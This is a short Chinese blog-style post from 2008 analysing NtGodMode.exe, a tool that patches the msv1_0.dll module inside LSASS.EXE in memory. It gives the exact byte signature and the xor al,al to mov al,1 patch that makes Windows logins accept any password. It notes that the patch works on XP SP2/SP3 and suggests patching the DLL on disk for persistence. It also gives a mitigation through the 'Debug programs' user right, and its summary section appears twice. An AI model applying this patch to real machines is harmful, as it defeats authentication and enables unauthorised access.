分析NtGodMode.exe干了什么
更新時間：2008年06月07日 22:07:46 作者：
NtGodMode.exe是通過打開LSASS.EXE進程msv1_0.dll模塊空間里，然后搜索特征值8B 4D 0C 49之后第1個32 C0 這個32C0匯編碼xor al,al，修改為B001對應(yīng)匯編碼mov al,1 為什么mov al,1，以后就不用密碼了？

小結(jié)
NtGodMode.exe是通過打開LSASS.EXE進程msv1_0.dll模塊空間里，然后搜索特征值8B 4D 0C 49之后第1個32 C0
這個32C0匯編碼xor al,al，修改為B001對應(yīng)匯編碼mov al,1
為什么mov al,1，以后就不用密碼了？有興趣的同學(xué)可以裝個虛擬機，調(diào)下LSASS.EXE
這個程序在我自己的機器win2k sp4上，不起作用，我跟了一下，主要是搜索的上面的哪個特征值它不是通用的，修改錯了地方
xp sp2 xp sp3都起作用。
另外想讓自己機器免疫這個東西的話， 其實也很簡單控制面板->管理工具->本地安全策略->本地策略->用戶權(quán)利指派->調(diào)試程序
里面有個admin用戶，刪除了以后，因為這個程序提升自身權(quán)限的代碼，很老，很差，很弱小，會失效
其實這個東西要這樣用，通過編程的方法，關(guān)掉系統(tǒng)的文件保護，直接改msv1_0.dll這個PE文件，這樣機器不用密碼了，然后要是很多機器的話訪問共享文件也方便,計算機應(yīng)該以人為本。
最后說一句delphi寫的東西是不行，垃圾太多~!!

小結(jié)
NtGodMode.exe是通過打開LSASS.EXE進程msv1_0.dll模塊空間里，然后搜索特征值8B 4D 0C 49之后第1個32 C0
這個32C0匯編碼xor al,al，修改為B001對應(yīng)匯編碼mov al,1
為什么mov al,1，以后就不用密碼了？有興趣的同學(xué)可以裝個虛擬機，調(diào)下LSASS.EXE
這個程序在我自己的機器win2k sp4上，不起作用，我跟了一下，主要是搜索的上面的哪個特征值它不是通用的，修改錯了地方
xp sp2 xp sp3都起作用。
另外想讓自己機器免疫這個東西的話， 其實也很簡單控制面板->管理工具->本地安全策略->本地策略->用戶權(quán)利指派->調(diào)試程序
里面有個admin用戶，刪除了以后，因為這個程序提升自身權(quán)限的代碼，很老，很差，很弱小，會失效
其實這個東西要這樣用，通過編程的方法，關(guān)掉系統(tǒng)的文件保護，直接改msv1_0.dll這個PE文件，這樣機器不用密碼了，然后要是很多機器的話訪問共享文件也方便,計算機應(yīng)該以人為本。
最后說一句delphi寫的東西是不行，垃圾太多~!!
